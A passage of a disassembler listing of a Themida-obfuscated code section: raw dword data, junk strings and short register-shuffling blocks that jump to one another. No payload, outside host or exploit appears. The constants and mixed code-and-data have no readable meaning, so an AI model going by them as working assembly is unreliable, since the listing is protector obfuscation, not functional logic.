		dd 2C330000h, 242C3124h, 8B242C33h, 0F3E92424h,	0FF00004Fh
		dd 5B042474h, 5C24048Fh, 0E9241C87h, 0FFFF283Ah, 31C9F581h
		dd 66E91CF3h, 68FFFF39h, 70C3h,	0FF2258E9h, 99F281FFh
		dd 0E931D44Bh, 0FFFF9816h, 4C481h, 0EB810000h, 52513DA7h
		dd 15BD989h, 240C8BCDh,	8704C483h, 248B242Ch, 7FC8E924h
		dd 0E6C1FFFFh, 0C4C68106h, 292DE2FEh, 24348BF7h, 8704C483h
		dd 895C243Ch, 4832424h,	48F0424h, 0A6E95624h, 0B9FFFFDFh
		dd 4, 0B6E9CE29h, 54FFFF63h, 0E92434FFh, 0FFFF5FB0h, 4C481h
		dd 34680000h, 89000025h, 4B82404h, 0E9000000h, 326h
dword_55F98C	dd 24048B66h, 4EC81h, 4890000h,	57E08924h, 0C85EFEBFh
					; DATA XREF: Themida_:00550D14o
		dd 0EE6E912h
		db 2 dup(0)
word_55F9A6	dw 8B66h		; DATA XREF: Themida_:00550C90o
		dd 54502404h, 6124E9h
		db 0
byte_55F9B1	db 0FFh, 77h, 38h	; DATA XREF: Themida_:00550E44o
		dd 7ACB68h, 241C8900h, 0C22E7DBBh, 8349E969h, 1433FFFFh
		dd 14895C24h, 348E6824h, 8F540000h, 0EC812404h,	4, 0BF243C89h
		dd 4, 4247C01h,	5F2434FFh, 0FF727BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F9F1:				; CODE XREF: Themida_:00559033j
		xor	edx, 613006F8h
		sub	edx, 77030709h
		shr	edx, 2
		add	edx, 823BB6Fh
		mov	eax, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_558DF7
; ---------------------------------------------------------------------------
aI4BCC_q6S	db '┴4$│,$зc^c_Q╧6~▒',0
		db 81h
		dd 0FC02B1E9h, 0ABE98174h, 1283717h, 555E59CFh,	47FE68h
		dd 241C8900h, 130DC368h, 2D45E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA4A:				; CODE XREF: Themida_:0055CB1Aj
		pop	esp
		jmp	loc_556371
; ---------------------------------------------------------------------------
		dd 0E9240487h, 0FFFF18D5h, 2FB4BB53h, 4B96673h,	29DF5690h
		dd 0E9D15BD9h, 706FE181h, 82E956B4h, 0B7000032h, 0E9FD30E6h
		dd 51C6h
dword_55FA7C	dd 0CCE9E9ACh		; DATA XREF: Themida_:00550ED8o
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FA82:				; CODE XREF: Themida_:00557066j
		pop	ebp
		pop	ecx
		push	70E2h
		mov	[esp], ebx
		jmp	loc_562D98
; ---------------------------------------------------------------------------
aSiHF		db 'S┬вhлf',0
		dd 24148900h, 0FFB2F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAA1:				; CODE XREF: Themida_:00556765j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, 6E3D1F24h
		jmp	loc_55DAB2
; ---------------------------------------------------------------------------


loc_55FABF:				; CODE XREF: Themida_:00551218j
		shr	edi, 8
		shl	edi, 3
		xor	edi, 9CF0B8h
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_551030
; ---------------------------------------------------------------------------
		dw 8953h
		dd 0EC8356E3h, 243C8904h, 0FF6099E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FAE5:				; CODE XREF: Themida_:0055D900j
		mov	esp, [esp]
		jmp	loc_55D61E
; ---------------------------------------------------------------------------
		db 89h,	0C1h, 58h
		dd 29036853h, 0E95B1DC5h, 0FFFFBE35h, 3905D001h, 5A29C229h
		dd 0BF575352h, 624746EBh, 239050BBh, 0EC381C5h,	2919E149h
		dd 0CAADE9FBh, 0EE81FFFFh, 0D81C94BAh, 435EF301h, 0EBC1DBF7h
		dd 0EBC38104h, 0E9F75E24h, 0FFFF4BE0h, 33243431h, 248B2434h
		dd 0C896624h, 1415E924h, 0CE01FFFFh
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55E63F
; ---------------------------------------------------------------------------
		db 81h
		dd 3A35DEC5h, 0ADCDE929h, 0EA81FFFFh, 5088730Eh, 1433585Fh
		dd 24143124h, 8B241433h, 4D32424h, 34E99C24h, 5A000003h
		dd 31240433h, 4332404h,	4895C24h, 2474FF24h, 24048B04h
		dd 8F04C483h, 0E95C2404h, 0FFFF9815h, 42474FFh,	24048F5Bh
		dd 1A42E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FBCD:				; CODE XREF: Themida_:005582B8j
		push	4A051E97h
		mov	eax, [esp]
		add	esp, 4
		not	eax
		jmp	loc_551402
; ---------------------------------------------------------------------------


loc_55FBDF:				; CODE XREF: Themida_:0055D0DAj
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_55B3C9
; ---------------------------------------------------------------------------
		db 4Bh
		dd 0E33BF381h, 0DBE9B045h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55FBF3:				; CODE XREF: Themida_:0055B00Bj
		add	ebp, 4
		push	esi
		jmp	loc_56597A
; ---------------------------------------------------------------------------
		db 81h
		dd 0E5729CFh, 4E7C13Ah,	1E2EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FC0D:				; CODE XREF: Themida_:00563F35j
		mov	esp, [esp]
		mov	[esp], ebx
		push	edx
		mov	edx, 598136E0h
		sub	edx, 26B5C870h
		sub	edx, 1A75328Ch
		sub	edx, 0A17F0C5Fh
		mov	ebx, edx
		jmp	loc_565A1C
; ---------------------------------------------------------------------------


loc_55FC32:				; CODE XREF: Themida_:00551E17j
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		push	edx
		mov	edx, 12C2173Dh
		inc	edx
		jmp	loc_563C90
; ---------------------------------------------------------------------------


loc_55FC5A:				; CODE XREF: Themida_:00562E42j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_55676A
; ---------------------------------------------------------------------------
		db 87h
		dd 248B241Ch, 24048F24h, 0FF1556E9h
		db 0FFh
byte_55FC85	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00550CD0o
		dd 419589Dh, 0CCE99C24h
		db 12h,	2 dup(0FFh)
byte_55FC93	db 66h			; DATA XREF: Themida_:00550E50o
		dd 6824048Bh, 32C6h, 0E9241C89h, 434Bh,	4C281h,	0C2830000h
		dd 322BE904h, 0C6010000h, 74FF5658h, 0E95E0424h, 3A40h
		dd 0FF3DC680h, 1C8B2434h, 4C48124h, 83000000h, 0B8E904C4h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FCD7:				; CODE XREF: Themida_:005629BDj
		pop	ebp
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_556762
; ---------------------------------------------------------------------------


loc_55FCE6:				; CODE XREF: Themida_:00557938j
		push	edi
		mov	edi, 5AFD4578h
		add	edi, 0BDC1D77h
		jmp	loc_563EA2
; ---------------------------------------------------------------------------
		db 81h
		dd 0C4299EE9h, 4E9C137h, 8106E9C1h, 37B533F1h, 59CB0100h
		dd 4C381h, 1C870000h, 0C1815C24h, 0ABF858AAh, 383668h
		dd 252CE900h, 835CFFFFh, 1C3302C3h, 241C3124h, 8B241C33h
		dd 1662424h, 0E99C2404h, 0FFFF121Fh
; ---------------------------------------------------------------------------


loc_55FD40:				; CODE XREF: Themida_:0055DB67j
		not	dword ptr [esp]
		pop	ecx
		push	eax
		push	ecx
		pop	eax
		jmp	loc_5598CE
; ---------------------------------------------------------------------------
		dd 390EB81h, 0ED81169Bh, 493C2B94h, 0C581DD01h,	493C2B94h
		dd 0E92434FFh, 1B3Bh
; ---------------------------------------------------------------------------


loc_55FD68:				; CODE XREF: Themida_:0055883Dj
		xchg	eax, [esp]
		pop	esp
		push	eax
		push	edi
		push	ebx
		push	12953684h
		jmp	loc_55BA50
; ---------------------------------------------------------------------------


loc_55FD79:				; CODE XREF: Themida_:00553B14j
		sub	ebx, ebp
		mov	ebp, [esp]
		push	edi
		jmp	loc_55A656
; ---------------------------------------------------------------------------
		dd 8159CA31h, 0FEECE8C2h, 8BD12915h, 0C4812414h, 4, 21C6BB53h
		dd 0EB8169AFh, 283B203Dh, 4CFEE955h, 15BFFFFh, 0EAEE81CEh
		dd 8B6EFB7Bh, 0C481240Ch, 4, 4AA368h, 24148900h, 2BAh
		dd 5AD60100h, 31243433h, 34332434h, 24248B24h, 0FFCE90E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55FDDD:				; CODE XREF: Themida_:00555902j
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_55CA89
; ---------------------------------------------------------------------------
		dw 0DEF7h
		dd 0E957E6D1h, 0FFFF435Fh
; ---------------------------------------------------------------------------


loc_55FE00:				; CODE XREF: Themida_:0055B05Cj
		add	ecx, 4
		jmp	loc_5604B3
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF114Fh
; ---------------------------------------------------------------------------


loc_55FE10:				; CODE XREF: Themida_:00561C4Aj
		mov	[esp], edx
		jmp	loc_55E1D3
; ---------------------------------------------------------------------------
		dd 5604C483h, 0FFFFFFBEh, 46AEE9FFh, 5366FFFFh,	0D9202AB3h
		dd 0FFA3AAE9h, 0EC8155FFh, 4, 68241489h, 29904749h, 0E2CA815Ah
		dd 81419C19h, 5B0D23EAh, 5AD58916h, 0FFC395E9h,	242C89FFh
		dd 78F368h, 24248900h, 4240481h, 0FF000000h, 565D2434h
		dd 0C681E689h, 4, 4C681h, 34870000h, 51535C24h,	4607F2B9h
		dd 0E9E9D11Fh, 0FFFF44C4h
; ---------------------------------------------------------------------------


loc_55FE8C:				; CODE XREF: Themida_:00564DCAj
		push	0
		sub	[esp], eax
		pop	eax
		xor	eax, 98C4C2E8h
		sub	[esp+8], eax
		mov	eax, [esp]
		jmp	loc_557815
; ---------------------------------------------------------------------------
		dw 0E380h
		dd 4504E994h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FEAE:				; CODE XREF: Themida_:0055E8EBj
		add	[esp+4], ecx
		jmp	loc_55362D
; ---------------------------------------------------------------------------
		db 29h
		dd 8DE95AD0h, 81FFFF1Dh, 4C4h, 0E7895700h, 4C781h, 0C4E90000h
		dd 0E9000036h, 0FFFF1087h, 0EA81EA01h, 459C320Ah, 0FF65BCE9h
		dd 0EDF581FFh, 0E9186C00h, 0FFFF3303h, 6BF78147h, 0E925AF39h
		dd 0FFFF461Fh
; ---------------------------------------------------------------------------


loc_55FEFC:				; CODE XREF: Themida_:005586A6j
		add	edi, 335464D5h
		pop	esi
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		jmp	loc_55E465
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 5324248Bh, 0C4168h, 24248900h, 4BE56h, 74010000h, 348B0424h
		dd 4C48324h, 4BF575Bh, 1000000h, 39B8E9FBh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FF3E:				; CODE XREF: Themida_:00558249j
		add	ebx, 6763B9Fh
		shl	ebx, 5
		dec	ebx
		push	460Fh
		jmp	loc_562537
; ---------------------------------------------------------------------------


loc_55FF52:				; CODE XREF: Themida_:005657C6j
		xor	edx, ecx
		pop	ecx
		xor	edx, 5BBE6F33h
		add	esi, edx
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_551FD2
; ---------------------------------------------------------------------------
		db 31h
		dd 243C8BF8h, 0FF49B1E9h, 0E928B0FFh, 0FFFF73A3h, 2904C483h
		dd 243C8BFBh, 4C481h, 0ED810000h, 475939E1h, 0BE9DD29h
		dd 2DFFFFDBh, 5F633F5Fh, 0FF86AFE9h, 1EC7BDFFh,	0E9530EE1h
		dd 0FFFF9A07h, 895BDF01h, 0E20AE9F9h, 0B951FFFFh, 3CC405C0h
		dd 2753ED81h, 0CFE94115h, 5EFFFF22h, 4247C29h, 4244481h
		dd 320C2B5Ah, 7D4BB951h, 0C149494Eh, 505303E1h,	9C4697B8h
		dd 58C38956h, 0BF57D3F7h, 75022D0Eh, 0E9E9FB31h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFFB:				; CODE XREF: Themida_:0056156Bj
		not	esi


loc_55FFFD:				; DATA XREF: Themida_:00573E40o
		jmp	loc_564957
; ---------------------------------------------------------------------------


loc_560002:				; CODE XREF: Themida_:005578AFj
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		jmp	loc_563E13
; ---------------------------------------------------------------------------
		dw 2BFh
		dd 0C104255Fh, 554702E7h, 41DAE956h, 685EFFFFh,	689Ah
		dd 68243489h, 759D167Ch, 18CBE95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560036:				; CODE XREF: Themida_:0055384Dj
		add	dword ptr [esp+8], 7B5E5904h
		mov	esi, [esp]
		add	esp, 4
		add	[esp+4], esi
		add	dword ptr [esp+4], 45C8470Eh
		mov	esi, [esp]
		jmp	loc_564342
; ---------------------------------------------------------------------------
		db 21h
		dd 0C7815AD7h, 0F3E6FF64h, 5FCAC281h, 0FA015913h, 5FCAEA81h
		dd 565F5913h, 4BEh, 0D8C28100h,	296F8602h, 0B499E9F2h
		dd 1C87FFFFh, 43E95C24h, 5CFFFFBBh, 0FFC9BDE9h,	51F281FFh
		dd 89F361C7h, 3CC8E9D0h, 9C500000h, 0FF0EB6E9h,	0BFF681FFh
		dd 2141381Dh, 0D3875EF3h, 0D387D2F7h, 0FFA32BE9h, 243433FFh
		dd 33243431h, 0D8E92434h, 5EFFFFA1h, 0DFE9F829h, 0BFFFFFB6h
		dd 38CC0D4Ah, 895FF901h, 0EFC159CFh, 81DFF704h,	52262CC7h
		dd 8BFE0141h, 0C481243Ch, 4, 1501F681h,	0F6817E43h, 505472E8h
		dd 7A5ACE81h, 0EE81056Dh, 72585C47h, 0FF2163E9h, 0C0B60FFFh
		dd 24148B66h, 148B5452h, 0E0895024h, 405h, 4C08300h, 0FF109FE9h
		dd 0F3C281FFh, 0E952361Dh, 4337h, 5FDBE981h, 565A64E4h
		dd 0B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_560145:				; CODE XREF: Themida_:00559F5Dj
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 4
		jmp	loc_557B1E
; ---------------------------------------------------------------------------
		db 29h
		dd 3FE95AD3h, 5AFFFFE8h, 5C24048Fh, 5A040804h, 0BDE9D800h
		dd 0C000002Bh, 84E904E9h, 9FFFF1Fh, 0C1815AD1h,	2FC02C6Dh
		dd 5208E1C1h, 3D7582BAh, 5AD1294Ch, 0E959CF31h,	0FFFF446Fh
; ---------------------------------------------------------------------------


loc_560190:				; CODE XREF: Themida_:0056597Bj
		mov	ebp, 3FF4470Dh
		shr	ebp, 4
		add	ebp, 1C014E2h
		shl	ebp, 7
		xor	ebp, 0DFACA904h
		push	ebp
		sub	dword ptr [esp], 28E048CEh
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_559C74
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 1Bh
		dd 81153F15h, 1D4D43E3h, 61B95123h, 81766115h, 0A07588C3h
		dd 81CB2953h, 0A07588EBh, 4226E953h, 8F540000h,	55522404h
		dd 4BDh, 5DEA8900h, 4245401h, 3BE95E5Ah, 0BE00002Dh, 78F62921h
		dd 2923F681h, 0C18178F6h, 1DE90456h, 0E981F101h, 1DE90456h
		dd 0FFCACDE9h, 532BB5FFh, 0DD004CB3h, 0C2CD805Bh, 800AED80h
		dd 0EE28C3C6h, 0FF3076E9h
		db 0FFh
byte_560231	db 0F7h, 1Ch, 24h	; DATA XREF: Themida_:00550CF0o
		dd 0D25E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56023A:				; CODE XREF: Themida_:0055871Bj
		sub	eax, ebx
		pop	ebx
		jmp	loc_557117
; ---------------------------------------------------------------------------


loc_560242:				; CODE XREF: Themida_:00559952j
		add	[esp+4], ecx
		sub	dword ptr [esp+4], 207B3CEEh
		sub	dword ptr [esp+4], 0ED82EA4h
		pop	ecx
		mov	eax, [esp]
		push	58C4h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	ecx
		push	75F0h
		mov	[esp], edx
		push	2CA34319h
		pop	edx
		push	eax
		mov	eax, 5DAE085Bh
		and	edx, eax
		jmp	loc_5623C7
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 59A3339h, 0AF4EB81h,	0C381632Fh, 7CC73A41h, 5300EB81h
		dd 525562B2h, 0FFEB69E9h, 243487FFh, 489665Ch, 51B15124h
		dd 80C5C980h, 0D1F648E1h, 0F6E9D9F6h, 8BFFFF69h, 0C483240Ch
		dd 94E95B04h
		db 0Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5602CB:				; CODE XREF: Themida_:00559D5Dj
		sub	bl, dl
		sub	bl, 6Eh
		jmp	loc_558262
; ---------------------------------------------------------------------------


loc_5602D5:				; CODE XREF: Themida_:00563582j
		pop	esp


loc_5602D6:				; CODE XREF: Themida_:loc_557B47j
					; Themida_:005609F4j
		push	dword ptr [edi+24h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5633CA
; ---------------------------------------------------------------------------


loc_5602E4:				; CODE XREF: Themida_:0055EBD2j
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 1D887352h
		jmp	loc_560775
; ---------------------------------------------------------------------------


loc_5602F4:				; CODE XREF: Themida_:0055A9B6j
		dec	edx
		xor	edx, 811092CEh
		mov	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		mov	ecx, ebx
		jmp	loc_55ADFE
; ---------------------------------------------------------------------------
		dd 0E9C4E480h, 25FAh, 4C48158h,	80000000h, 0EE800FC6h
		dd 5F68097h, 0E989F680h, 0FFFFB56Bh, 0BE243489h, 4, 74C9C381h
		dd 6E9449Ah, 8BFFFF0Dh,	0C481242Ch, 4, 4C581h, 0B9E90000h
		dd 33FFFF54h, 2C31242Ch, 242C3324h, 8124248Bh, 4ECh, 243C8900h
		dd 1F0E68h, 24348900h, 547EE9h,	243C8900h, 2E242C81h, 5E604A19h
		dd 1C81E9h, 24148900h, 0C281E289h, 4, 4EC8155h,	89000000h
		dd 30BF243Ch, 0BD112D3Fh, 15CF2AEAh, 3C8BFD01h,	8D53E924h
		dd 0F181FFFFh, 43CC47C4h, 0E959CD31h, 0FFFFE8B1h, 6E07B850h
		dd 0D7E9191Fh, 5BFFFF72h, 80F3B652h, 0DEF620CEh, 0E6C0EED0h
		dd 8DEE8003h, 434E9h, 4B95100h,	81000000h, 0E42E9DC2h
		dd 81CA010Dh, 0E42E9DEAh, 1487590Dh, 5603E924h,	7805FFFFh
		dd 292C0C19h, 19782DF8h, 0ED682C0Ch, 0E900004Fh, 4BAAh
; ---------------------------------------------------------------------------


loc_56040C:				; CODE XREF: Themida_:0055E17Bj
		add	eax, 4
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		and	ecx, eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_563ECD
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 51241C8Bh, 1C1DE9h, 8BEA2100h, 0C483242Ch, 0AAE95504h
		dd 0E9FFFF5Fh, 0FFFF0B13h, 2424D25Ch, 6D45E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560456:				; CODE XREF: Themida_:00553752j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xchg	ebx, [esp]
		pop	esp
		push	ebx
		push	36A84845h
		pop	ebx
		push	eax
		push	3C2F2A20h
		pop	eax
		mov	dword ptr [edx+30h], 0A876265h
		push	ecx
		jmp	loc_560963
; ---------------------------------------------------------------------------


loc_560486:				; CODE XREF: Themida_:00554144j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 50316E03h
		sub	edx, ebp
		mov	ebp, [esp]
		jmp	loc_553682
; ---------------------------------------------------------------------------


loc_5604B3:				; CODE XREF: Themida_:0055FE06j
		xchg	ecx, [esp]
		jmp	loc_55E6F4
; ---------------------------------------------------------------------------


loc_5604BB:				; CODE XREF: Themida_:00564A7Ej
		shl	eax, 8
		xor	eax, 0B05979h
		xor	eax, edx
		xor	edx, eax
		jmp	loc_554057
; ---------------------------------------------------------------------------
		dd 6C2FA72Dh, 56C8016Ah, 6C2FA7BEh, 44B1E96Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5604DE:				; CODE XREF: Themida_:00565854j
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		push	esi
		jmp	loc_55A5D0
; ---------------------------------------------------------------------------


loc_5604F3:				; CODE XREF: Themida_:00556FF8j
		mov	edx, 4D0133B0h
		mov	edi, edx
		pop	edx
		mov	ebp, edi
		pop	edi
		neg	ebp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2F832CF5h
		neg	edi
		jmp	loc_5514EA
; ---------------------------------------------------------------------------
		dw 0CB31h
		dd 592434FFh, 81E38953h, 4C3h, 4C38300h, 5C241C87h, 7E6EC281h
		dd 0C281516Fh, 6E9D7AE4h, 0EA81DA01h, 6E9D7AE4h, 7E6EBD55h
		dd 0EA29516Fh, 0FF29BFE9h, 4C481FFh, 0E9000000h, 0FFFF65E7h
		dd 7E2C15Eh, 5503E942h,	0D3F70000h, 0A5FAEB81h,	6C811CA0h
		dd 4A840424h, 5C01721Dh, 44810424h, 4A840424h, 34FF721Dh
		dd 0E9575B24h, 0FFFF5E5Ah, 89243C89h, 4C781E7h,	68000000h
		dd 63A6h, 0BB241C89h, 2, 0FF3EF81h, 89534828h, 0D1E951E3h
		dd 5DFFFFE0h, 0FF3828E9h, 68E981FFh, 0E97C610Dh, 4309h
		dd 0B8E98AB6h, 8300004Fh, 48702C0h, 34BBE924h, 0E0BE0000h
		dd 50788F16h, 0FF5A41E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5605D9:				; CODE XREF: Themida_:00558C25j
		inc	edx
		not	edx
		sub	edx, 0FA04E348h
		or	ecx, edx
		pop	edx
		jmp	loc_5562E1
; ---------------------------------------------------------------------------
		dd offset dword_445750+5C18h
		dw 8900h
		dd 0E6892434h, 4C681h, 0C6810000h, 2, 0E9243487h, 0FFFF7999h
		dd 66D82966h, 8B0FA02Dh, 0C481241Ch, 4,	0C2BD6655h, 0C5816639h
		dd 5660CA7h, 92E95693h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56062B:				; CODE XREF: Themida_:005657B0j
		shr	edi, 8
		push	0
		sub	[esp], edi
		pop	edi
		add	edi, 270C3B90h
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 350D0EA6h
		sub	dword ptr [esp+4], 4E5A7E28h
		sub	dword ptr [esp+4], 19E10148h
		add	[esp+4], ecx
		add	dword ptr [esp+4], 19E10148h
		jmp	loc_554AC5
; ---------------------------------------------------------------------------
		dw 0C801h
aYh6		db 'Yh#6',0
		align 2
		dw 3C89h
		dd 1294BF24h, 0CF811C46h, 378F036Ah, 4CCF814Fh,	0F742830Fh
		dd 1C781DFh, 17FCF20h, 0FF505FF8h, 58042474h, 0FF57E2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56069D:				; CODE XREF: Themida_:0055BDA5j
		add	ecx, ebp
		pop	ebp
		add	ecx, esi
		sub	ecx, 3672381Ch
		jmp	loc_551505
; ---------------------------------------------------------------------------
		db 81h,	0CFh, 9Bh
		dd 0E9142D3Ah, 4475h, 875EF301h, 23E9241Ch, 0C0FFFF59h
		dd 0F48005E4h, 68C38093h, 0EB80E300h, 0E9505868h, 0FFFFBB2Dh
		dd 8124348Bh, 4C4h, 0F5E95600h
		db 0DFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5606E7:				; CODE XREF: Themida_:00558711j
		pop	esp
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_55D5AE
; ---------------------------------------------------------------------------
		dw 815Eh
		dd 44364FF6h, 0F681466Ch, 13A81B9Dh, 0FF4121E9h
		db 0FFh
byte_560705	db 0ACh, 30h, 0D8h	; DATA XREF: Themida_:00550E98o
		dd 0B7536652h, 66FE88CBh, 83241C8Bh, 0F68002C4h, 937CE981h
		dd 1205FFFFh, 0E9201696h, 0FFFF6001h, 59C8885Ah, 2826C380h
		dd 26EB80C3h, 24048B66h, 2C481h, 0C3280000h, 0A5B35352h
		dd 34FFDE88h, 0C4815B24h, 4, 0CE80D6F6h, 3EEC0FAh, 50C0C680h
		dd 0C3284FB0h, 3803E958h, 815F0000h, 4ECh, 24348900h, 0FFC1C0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560775:				; CODE XREF: Themida_:005602EFj
		or	ebx, 1DA56CF5h
		jmp	loc_55EE52
; ---------------------------------------------------------------------------


loc_560780:				; CODE XREF: Themida_:0055A3A7j
		mov	[esp], ebx
		push	1Ch
		jmp	loc_55F0DC
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0FF2AB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560795:				; CODE XREF: Themida_:0055F6B6j
		mov	ecx, esp
		push	edx
		jmp	loc_5524A1
; ---------------------------------------------------------------------------
		db 81h,	0F3h, 29h
		dd 29C04361h, 0E8295BD8h, 23344A05h, 5AAB2D1Dh,	0BF57352Bh
		dd 5C170978h, 2EAE9h, 48B6600h,	6EE96824h, 0ADE90000h
		dd 0F6000043h, 0C8B2414h, 4C48324h, 89E95053h, 1000017h
		dd 160DE9DFh, 15BFFFFh,	241C8BDAh, 4C481h, 48E90000h, 81FFFF96h
		dd 0F61968EDh, 86BB534Ch, 211AFB07h, 0ED815BDDh, 0AFC39799h
		dd 0FFD3C2E9h, 0E9BD04FFh, 762h, 0E9D3F766h, 2F43h
; ---------------------------------------------------------------------------


loc_56081C:				; CODE XREF: Themida_:00562DECj
		pop	eax
		jmp	loc_562ABA
; ---------------------------------------------------------------------------


loc_560822:				; CODE XREF: Themida_:0055A805j
		mov	[esp], esi
		mov	esi, 3B161632h
		jmp	loc_561E70
; ---------------------------------------------------------------------------
byte_56082F	db 0FFh			; DATA XREF: Themida_:00550DFCo
		dd 669D1C77h, 241CD359h, 721E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56083E:				; CODE XREF: Themida_:0055A281j
		mov	esp, [esp]
		jmp	loc_565823
; ---------------------------------------------------------------------------
		dw 47BFh
		dd 0E9593D1Fh, 0FFFFBB0Dh, 0E903E0C1h, 0FFFFE1B3h, 0FF0702E9h
		db 0FFh
byte_56085D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550E94o
		dd 5D545524h, 4BA52h, 0ED810000h, 22EF0F4Bh, 66E9D501h
		dd 5FFFFF5Eh, 0FFFDEDE9h, 242C89FFh, 905EF4BDh,	0E9E8015Ch
		dd 0FFFF897Bh, 0FBF78147h, 5512C85Eh, 0FFDBA9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560899:				; CODE XREF: Themida_:00561255j
		add	edx, eax
		add	edx, 0F56742Bh
		pop	eax
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_5581AD
; ---------------------------------------------------------------------------
		dd 33ABE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5608B6:				; CODE XREF: Themida_:0056535Fj
		mov	ebx, 79830F49h
		push	ebx
		sub	dword ptr [esp], 4B2B4641h
		pop	esi
		add	esi, 4B2B4641h
		pop	ebx
		push	ebp
		mov	ebp, 32877026h
		xor	esi, ebp
		pop	ebp
		jmp	loc_55B2F6
; ---------------------------------------------------------------------------
byte_5608D9	db 66h,	8Bh, 4		; DATA XREF: Themida_:00550EE8o
		dd 0F9DE924h, 0DE010000h, 6BF3EE81h, 0CEE92AC2h, 29FFFF1Ah
		dd 44BA52D5h, 29630735h, 0EA875AD5h, 44CEE9h, 0BB0F6600h
		dd 0E99C2404h, 0FFFF0653h, 8B24048Fh, 73E92424h, 8BFFFFD4h
		dd 0F6E9241Ch
		db 33h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56091F:				; CODE XREF: Themida_:00555B79j
		push	7AF40856h
		pop	edx
		push	ecx
		mov	ecx, 5D3451B7h
		not	ecx
		shr	ecx, 1
		neg	ecx
		dec	ecx
		push	esi
		mov	esi, 0A6C0A2D8h
		xor	ecx, esi
		pop	esi
		jmp	loc_5548DB
; ---------------------------------------------------------------------------
		dd 79A4BD55h, 54E97360h, 81FFFFCBh, 913F2C6h, 0F3C68129h
		dd 0E92AC26Bh, 0FFFFFF86h, 13E9EB08h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


